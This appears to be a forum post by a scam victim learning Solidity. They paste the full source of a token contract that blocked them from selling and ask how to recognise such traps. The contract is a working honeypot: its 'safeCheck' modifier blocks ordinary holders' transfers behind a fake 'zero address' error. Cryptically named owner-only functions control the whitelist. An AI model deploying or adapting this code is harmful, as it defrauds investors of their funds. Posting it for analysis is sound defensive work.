HI guys i need help with this scammy smart contract, im current learning solidity step by step, but to be short with the story i was invested in some scammy smart token that wont let me withdraw my funds after i swap ETH for the token , im gonna paste the code of the token , and i would like to know , how to indentify the function used to stop the withdrawals and how can i identify them in the future, thanks for any help you can give me , have a nice day ahead.
/**
*Submitted for verification at Etherscan.io on 2021-01-12
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_WYFI(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
